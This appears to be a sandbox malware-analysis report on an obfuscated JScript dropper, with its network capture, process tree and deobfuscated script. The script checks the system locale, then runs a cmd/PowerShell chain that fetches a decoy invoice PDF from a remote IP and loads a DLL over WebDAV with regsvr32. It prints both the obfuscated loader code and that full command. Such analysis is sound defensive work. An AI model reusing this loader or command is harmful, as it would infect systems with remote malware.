Jan 10, 2025 19:45:04.198470116 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 19:45:04.198482990 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 19:45:04.198494911 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 19:45:04.198506117 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 19:45:04.198517084 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 19:45:04.198529005 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 19:45:04.198539019 CET	328	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 19:45:04.198549986 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 10, 2025 19:45:04.203387976 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	4584	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:45:06.171000957 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:45:06.988341093 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:45:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:44:59
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27344289642108220053.js"
Imagebase:	0x7ff7f9320000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:44:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll
Imagebase:	0x7ff69a0b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:44:59
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:45:00
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:45:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:45:04
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff69a0b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:45:05
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff793e60000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:45:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:45:06
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:45:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1560 --field-trial-handle=1528,i,3778512478076326924,10828754836765163400,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wkmnshj() {	wkmnshj() ➔ undefined
1	wzxuaslxu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jrfdsho = this[whbyqobyr + kxxxzdyh + fcpez + zpqozqa + deuquip + exmwiir + juytngu + zfenyje] ( this[zbavkef + gbpuag + bvaxszpbh + fcpez + qhujslh + whbyqobyr + zfenyje][nhgwmja + fcpez + deuquip + kxxxzdyh + zfenyje + deuquip + aroduj + nksukpb + pdlgiswb + deuquip + bvaxszpbh + zfenyje] ( zbavkef + gbpuag + bvaxszpbh + fcpez + qhujslh + whbyqobyr + zfenyje + nhiwwfcmp + gbpuag + necxz + deuquip + biivnx + biivnx ) [qlmbg + deuquip + vwcozvag + qlmbg + deuquip + kxxxzdyh + gpxsrh] ( inbdeo + zgxme + ekxgjyue + fgazrfx + eqnbra + nhgwmja + ksdxepmjx + qlmbg + qlmbg + ekxgjyue + wtevwdl + ltpwnz + eqnbra + ksdxepmjx + gbpuag + ekxgjyue + qlmbg + vkuowkfrm + nhgwmja + fcaxqzjel + juytngu + zfenyje + fcpez + fcaxqzjel + biivnx + xgqzygl + gkmkjcaox + kxxxzdyh + juytngu + deuquip + biivnx + vkuowkfrm + exmwiir + juytngu + zfenyje + deuquip + fcpez + juytngu + kxxxzdyh + zfenyje + qhujslh + fcaxqzjel + juytngu + kxxxzdyh + biivnx + vkuowkfrm + yudvml + fcaxqzjel + bvaxszpbh + kxxxzdyh + biivnx + deuquip ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( mugpqk = 0 ; mugpqk < wzxuaslxu[biivnx + deuquip + juytngu + vwcozvag + zfenyje + necxz] ; ++ mugpqk )
4	{
5	if ( jrfdsho == wzxuaslxu[mugpqk] )
6	{
7	jrfdsho = true;
8	break ;
9	}
10	}
11	if ( jrfdsho !== true )
12	this[zbavkef + gbpuag + bvaxszpbh + fcpez + qhujslh + whbyqobyr + zfenyje][zneghbx + wkavgb + qhujslh + zfenyje] ( );
13	this[zbavkef + gbpuag + bvaxszpbh + fcpez + qhujslh + whbyqobyr + zfenyje][nhgwmja + fcpez + deuquip + kxxxzdyh + zfenyje + deuquip + aroduj + nksukpb + pdlgiswb + deuquip + bvaxszpbh + zfenyje] ( zbavkef + gbpuag + bvaxszpbh + fcpez + qhujslh + whbyqobyr + zfenyje + nhiwwfcmp + gbpuag + necxz + deuquip + biivnx + biivnx ) [fcpez + wkavgb + juytngu] ( bvaxszpbh + yybuk + gpxsrh + xgqzygl + pkhnemg + bvaxszpbh + xgqzygl + whbyqobyr + fcaxqzjel + emuiwyc + deuquip + fcpez + zpqozqa + necxz + deuquip + biivnx + biivnx + nhiwwfcmp + deuquip + iqqlffvlv + deuquip + xgqzygl + rdqesazk + nhgwmja + fcaxqzjel + yybuk + yybuk + kxxxzdyh + juytngu + gpxsrh + xgqzygl + gagdn + exmwiir + juytngu + wmbkqh + fcaxqzjel + itqhojils + deuquip + rdqesazk + zbavkef + deuquip + nksukpb + qlmbg + deuquip + xztjkfkto + wkavgb + deuquip + zpqozqa + zfenyje + xgqzygl + rdqesazk + aroduj + wkavgb + zfenyje + gnndm + qhujslh + biivnx + deuquip + xgqzygl + tkziaudxb + zfenyje + deuquip + yybuk + whbyqobyr + tkziaudxb + vkuowkfrm + qhujslh + juytngu + wmbkqh + fcaxqzjel + qhujslh + bvaxszpbh + deuquip + nhiwwfcmp + whbyqobyr + gpxsrh + bkhgnfd + xgqzygl + necxz + zfenyje + zfenyje + whbyqobyr + errvhqfd + pkhnemg + pkhnemg + pqwvcsm + wafctunm + cxnjwbimz + nhiwwfcmp + pqwvcsm + dsusiqg + cxnjwbimz + nhiwwfcmp + pqwvcsm + nhiwwfcmp + dwiehzgye + bdrhker + vvcrlcsh + pkhnemg + qhujslh + juytngu + wmbkqh + fcaxqzjel + qhujslh + bvaxszpbh + deuquip + nhiwwfcmp + whbyqobyr + necxz + whbyqobyr + gagdn + ihjmo + ihjmo + zpqozqa + zfenyje + kxxxzdyh + fcpez + zfenyje + xgqzygl + tkziaudxb + zfenyje + deuquip + yybuk + whbyqobyr + tkziaudxb + vkuowkfrm + qhujslh + juytngu + wmbkqh + fcaxqzjel + qhujslh + bvaxszpbh + deuquip + nhiwwfcmp + whbyqobyr + gpxsrh + bkhgnfd + ihjmo + ihjmo + bvaxszpbh + yybuk + gpxsrh + xgqzygl + pkhnemg + bvaxszpbh + xgqzygl + juytngu + deuquip + zfenyje + xgqzygl + wkavgb + zpqozqa + deuquip + xgqzygl + vkuowkfrm + vkuowkfrm + pqwvcsm + wafctunm + cxnjwbimz + nhiwwfcmp + pqwvcsm + dsusiqg + cxnjwbimz + nhiwwfcmp + pqwvcsm + nhiwwfcmp + dwiehzgye + bdrhker + vvcrlcsh + keoqj + emwvny + emwvny + emwvny + emwvny + vkuowkfrm + gpxsrh + kxxxzdyh + wmbkqh + emuiwyc + emuiwyc + emuiwyc + fcpez + fcaxqzjel + fcaxqzjel + zfenyje + vkuowkfrm + ihjmo + ihjmo + bvaxszpbh + yybuk + gpxsrh + xgqzygl + pkhnemg + bvaxszpbh + xgqzygl + fcpez + deuquip + vwcozvag + zpqozqa + wmbkqh + fcpez + cxnjwbimz + dwiehzgye + xgqzygl + pkhnemg + zpqozqa + xgqzygl + vkuowkfrm + vkuowkfrm + pqwvcsm + wafctunm + cxnjwbimz + nhiwwfcmp + pqwvcsm + dsusiqg + cxnjwbimz + nhiwwfcmp + pqwvcsm + nhiwwfcmp + dwiehzgye + bdrhker + vvcrlcsh + keoqj + emwvny + emwvny + emwvny + emwvny + vkuowkfrm + gpxsrh + kxxxzdyh + wmbkqh + emuiwyc + emuiwyc + emuiwyc + fcpez + fcaxqzjel + fcaxqzjel + zfenyje + vkuowkfrm + dwiehzgye + cxnjwbimz + bdrhker + bdrhker + cjnppyj + wafctunm + bdrhker + jnafjri + dwiehzgye + pqwvcsm + dwiehzgye + bdrhker + emwvny + dsusiqg + nhiwwfcmp + gpxsrh + biivnx + biivnx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23006907212084.dll",0,false) ➔ 0
14	}
15	tkziaudxb = "c";
16	tkziaudxb = "Y";
17	tkziaudxb = "d";
18	tkziaudxb = "P";
19	tkziaudxb = "T";
20	tkziaudxb = "e";
21	tkziaudxb = "L";
22	tkziaudxb = "q";
23	tkziaudxb = "B";
24	tkziaudxb = "x";
25	tkziaudxb = "S";
26	tkziaudxb = "V";
27	tkziaudxb = "Q";
28	tkziaudxb = "J";
29	tkziaudxb = "Q";
30	tkziaudxb = "O";
31	tkziaudxb = "K";
32	tkziaudxb = "N";
33	tkziaudxb = "k";
34	tkziaudxb = "w";
35	tkziaudxb = "f";
36	tkziaudxb = "T";
37	tkziaudxb = "Y";
38	tkziaudxb = "L";
39	tkziaudxb = "R";
40	tkziaudxb = "f";
41	tkziaudxb = "s";
42	tkziaudxb = "u";
43	tkziaudxb = "Y";
44	tkziaudxb = "R";
45	tkziaudxb = "E";
46	tkziaudxb = "J";
47	tkziaudxb = "R";
48	tkziaudxb = "Z";
49	tkziaudxb = "%";
50	fcaxqzjel = "d";
51	fcaxqzjel = "o";
52	fcaxqzjel = "v";
53	fcaxqzjel = "f";
54	fcaxqzjel = "a";
55	fcaxqzjel = "q";
56	fcaxqzjel = "n";
57	fcaxqzjel = "v";
58	fcaxqzjel = "E";
59	fcaxqzjel = "l";
60	fcaxqzjel = "a";
61	fcaxqzjel = "B";
62	fcaxqzjel = "c";
63	fcaxqzjel = "a";
64	fcaxqzjel = "r";
65	fcaxqzjel = "K";
66	fcaxqzjel = "B";
67	fcaxqzjel = "j";
68	fcaxqzjel = "t";
69	fcaxqzjel = "O";
70	fcaxqzjel = "m";
71	fcaxqzjel = "z";
72	fcaxqzjel = "i";
73	fcaxqzjel = "h";
74	fcaxqzjel = "t";
75	fcaxqzjel = "d";
76	fcaxqzjel = "J";
77	fcaxqzjel = "Q";
78	fcaxqzjel = "E";
79	fcaxqzjel = "d";
80	fcaxqzjel = "w";
81	fcaxqzjel = "C";
82	fcaxqzjel = "E";
83	fcaxqzjel = "D";
84	fcaxqzjel = "o";
85	ihjmo = "s";
86	ihjmo = "G";
87	ihjmo = "r";
88	ihjmo = "O";
89	ihjmo = "J";
90	ihjmo = "q";
91	ihjmo = "N";
92	ihjmo = "A";
93	ihjmo = "B";
94	ihjmo = "X";
95	ihjmo = "s";
96	ihjmo = "N";
97	ihjmo = "S";
98	ihjmo = "b";
99	ihjmo = "u";
100	ihjmo = "U";
101	ihjmo = "G";
102	ihjmo = "n";
103	ihjmo = "g";
104	ihjmo = "&";
105	yudvml = "G";
106	yudvml = "H";
107	yudvml = "g";
108	yudvml = "G";
109	yudvml = "p";
110	yudvml = "V";
111	yudvml = "Q";
112	yudvml = "J";
113	yudvml = "L";
114	cjnppyj = "l";
115	cjnppyj = "o";
116	cjnppyj = "R";
117	cjnppyj = "n";
118	cjnppyj = "V";
119	cjnppyj = "e";
120	cjnppyj = "e";
121	cjnppyj = "u";
122	cjnppyj = "e";
123	cjnppyj = "q";
124	cjnppyj = "c";
125	cjnppyj = "r";
126	cjnppyj = "m";
127	cjnppyj = "D";
128	cjnppyj = "V";
129	cjnppyj = "N";
130	cjnppyj = "s";
131	cjnppyj = "b";
132	cjnppyj = "N";
133	cjnppyj = "s";
134	cjnppyj = "g";
135	cjnppyj = "Y";
136	cjnppyj = "x";
137	cjnppyj = "z";
138	cjnppyj = "q";
139	cjnppyj = "B";
140	cjnppyj = "z";
141	cjnppyj = "X";
142	cjnppyj = "z";
143	cjnppyj = "r";
144	cjnppyj = "S";
145	cjnppyj = "W";
146	cjnppyj = "Y";
147	cjnppyj = "W";
148	cjnppyj = "Y";
149	cjnppyj = "x";
150	cjnppyj = "m";
151	cjnppyj = "s";
152	cjnppyj = "u";
153	cjnppyj = "m";
154	cjnppyj = "l";
155	cjnppyj = "Q";
156	cjnppyj = "6";
157	bdrhker = "g";
158	bdrhker = "N";
159	bdrhker = "Q";
160	bdrhker = "V";
161	bdrhker = "P";
162	bdrhker = "s";
163	bdrhker = "a";
164	bdrhker = "K";
165	bdrhker = "A";
166	bdrhker = "b";
167	bdrhker = "k";
168	bdrhker = "d";
169	bdrhker = "E";
170	bdrhker = "K";
171	bdrhker = "w";
172	bdrhker = "v";
173	bdrhker = "Q";
174	bdrhker = "W";
175	bdrhker = "c";
176	bdrhker = "J";
177	bdrhker = "w";
178	bdrhker = "z";
179	bdrhker = "s";
180	bdrhker = "z";
181	bdrhker = "Y";
182	bdrhker = "c";
183	bdrhker = "E";
184	bdrhker = "0";
185	vkuowkfrm = "G";
186	vkuowkfrm = "E";
187	vkuowkfrm = "q";
188	vkuowkfrm = "P";
189	vkuowkfrm = "f";
190	vkuowkfrm = "F";
191	vkuowkfrm = "X";
192	vkuowkfrm = "u";
193	vkuowkfrm = "P";
194	vkuowkfrm = "f";
195	vkuowkfrm = "a";
196	vkuowkfrm = "p";
197	vkuowkfrm = "a";
198	vkuowkfrm = "K";
199	vkuowkfrm = "v";
200	vkuowkfrm = "J";
201	vkuowkfrm = "p";
202	vkuowkfrm = "l";
203	vkuowkfrm = "L";
204	vkuowkfrm = "g";
205	vkuowkfrm = "T";
206	vkuowkfrm = "B";
207	vkuowkfrm = "\\";
208	exmwiir = "D";
209	exmwiir = "u";
210	exmwiir = "y";
211	exmwiir = "Z";
212	exmwiir = "h";
213	exmwiir = "R";
214	exmwiir = "h";
215	exmwiir = "Q";
216	exmwiir = "k";
217	exmwiir = "Q";
218	exmwiir = "E";
219	exmwiir = "s";
220	exmwiir = "I";
221	qlmbg = "F";
222	qlmbg = "p";
223	qlmbg = "t";
224	qlmbg = "d";
225	qlmbg = "l";
226	qlmbg = "I";
227	qlmbg = "z";
228	qlmbg = "W";
229	qlmbg = "z";
230	qlmbg = "q";
231	qlmbg = "p";
232	qlmbg = "R";
233	qlmbg = "e";
234	qlmbg = "P";
235	qlmbg = "Y";
236	qlmbg = "H";
237	qlmbg = "g";
238	qlmbg = "N";
239	qlmbg = "G";
240	qlmbg = "b";
241	qlmbg = "Q";
242	qlmbg = "l";
243	qlmbg = "Q";
244	qlmbg = "O";
245	qlmbg = "Y";
246	qlmbg = "R";
247	fcpez = "F";
248	fcpez = "A";
249	fcpez = "N";
250	fcpez = "C";
251	fcpez = "Q";
252	fcpez = "v";
253	fcpez = "W";
254	fcpez = "D";
255	fcpez = "K";
256	fcpez = "F";
257	fcpez = "d";
258	fcpez = "z";
259	fcpez = "D";
260	fcpez = "J";
261	fcpez = "K";
262	fcpez = "T";
263	fcpez = "L";
264	fcpez = "h";
265	fcpez = "g";
266	fcpez = "g";
267	fcpez = "M";
268	fcpez = "j";
269	fcpez = "f";
270	fcpez = "I";
271	fcpez = "k";
272	fcpez = "w";
273	fcpez = "r";
274	nhiwwfcmp = "O";
275	nhiwwfcmp = "D";
276	nhiwwfcmp = "G";
277	nhiwwfcmp = "b";
278	nhiwwfcmp = "p";
279	nhiwwfcmp = "j";
280	nhiwwfcmp = "t";
281	nhiwwfcmp = "t";
282	nhiwwfcmp = "R";
283	nhiwwfcmp = "A";
284	nhiwwfcmp = "q";
285	nhiwwfcmp = "Y";
286	nhiwwfcmp = ".";
287	cxnjwbimz = "r";
288	cxnjwbimz = "V";
289	cxnjwbimz = "y";
290	cxnjwbimz = "x";
291	cxnjwbimz = "l";
292	cxnjwbimz = "u";
293	cxnjwbimz = "r";
294	cxnjwbimz = "s";
295	cxnjwbimz = "E";
296	cxnjwbimz = "V";
297	cxnjwbimz = "K";
298	cxnjwbimz = "t";
299	cxnjwbimz = "F";
300	cxnjwbimz = "F";
301	cxnjwbimz = "Y";
302	cxnjwbimz = "s";
303	cxnjwbimz = "x";
304	cxnjwbimz = "p";
305	cxnjwbimz = "I";
306	cxnjwbimz = "b";
307	cxnjwbimz = "B";
308	cxnjwbimz = "W";
309	cxnjwbimz = "V";
310	cxnjwbimz = "B";
311	cxnjwbimz = "Q";
312	cxnjwbimz = "K";
313	cxnjwbimz = "w";
314	cxnjwbimz = "S";
315	cxnjwbimz = "T";
316	cxnjwbimz = "o";
317	cxnjwbimz = "A";
318	cxnjwbimz = "f";
319	cxnjwbimz = "a";
320	cxnjwbimz = "N";
321	cxnjwbimz = "G";
322	cxnjwbimz = "q";
323	cxnjwbimz = "t";
324	cxnjwbimz = "c";
325	cxnjwbimz = "u";
326	cxnjwbimz = "S";
327	cxnjwbimz = "n";
328	cxnjwbimz = "3";
329	keoqj = "N";
330	keoqj = "v";
331	keoqj = "C";
332	keoqj = "Z";
333	keoqj = "O";
334	keoqj = "B";
335	keoqj = "r";
336	keoqj = "t";
337	keoqj = "X";
338	keoqj = "A";
339	keoqj = "Z";
340	keoqj = "y";
341	keoqj = "y";
342	keoqj = "T";
343	keoqj = "d";
344	keoqj = "R";
345	keoqj = "H";
346	keoqj = "M";
347	keoqj = "m";
348	keoqj = "P";
349	keoqj = "k";
350	keoqj = "Q";
351	keoqj = "q";
352	keoqj = "o";
353	keoqj = "y";
354	keoqj = "z";
355	keoqj = "d";
356	keoqj = "f";
357	keoqj = "o";
358	keoqj = "O";
359	keoqj = "t";
360	keoqj = "B";
361	keoqj = "@";
362	pqwvcsm = "n";
363	pqwvcsm = "N";
364	pqwvcsm = "k";
365	pqwvcsm = "b";
366	pqwvcsm = "n";
367	pqwvcsm = "m";
368	pqwvcsm = "q";
369	pqwvcsm = "I";
370	pqwvcsm = "S";
371	pqwvcsm = "o";
372	pqwvcsm = "b";
373	pqwvcsm = "p";
374	pqwvcsm = "1";
375	nhgwmja = "k";
376	nhgwmja = "i";
377	nhgwmja = "Q";
378	nhgwmja = "s";
379	nhgwmja = "D";
380	nhgwmja = "m";
381	nhgwmja = "G";
382	nhgwmja = "W";
383	nhgwmja = "j";
384	nhgwmja = "c";
385	nhgwmja = "B";
386	nhgwmja = "a";
387	nhgwmja = "d";
388	nhgwmja = "U";
389	nhgwmja = "v";
390	nhgwmja = "o";
391	nhgwmja = "W";
392	nhgwmja = "f";
393	nhgwmja = "t";
394	nhgwmja = "a";
395	nhgwmja = "N";
396	nhgwmja = "Q";
397	nhgwmja = "k";
398	nhgwmja = "N";
399	nhgwmja = "K";
400	nhgwmja = "x";
401	nhgwmja = "O";
402	nhgwmja = "m";
403	nhgwmja = "Z";
404	nhgwmja = "P";
405	nhgwmja = "a";
406	nhgwmja = "m";
407	nhgwmja = "F";
408	nhgwmja = "E";
409	nhgwmja = "z";
410	nhgwmja = "i";
411	nhgwmja = "u";
412	nhgwmja = "Q";
413	nhgwmja = "C";
414	eqnbra = "I";
415	eqnbra = "F";
416	eqnbra = "h";
417	eqnbra = "b";
418	eqnbra = "J";
419	eqnbra = "M";
420	eqnbra = "X";
421	eqnbra = "D";
422	eqnbra = "I";
423	eqnbra = "T";
424	eqnbra = "h";
425	eqnbra = "d";
426	eqnbra = "F";
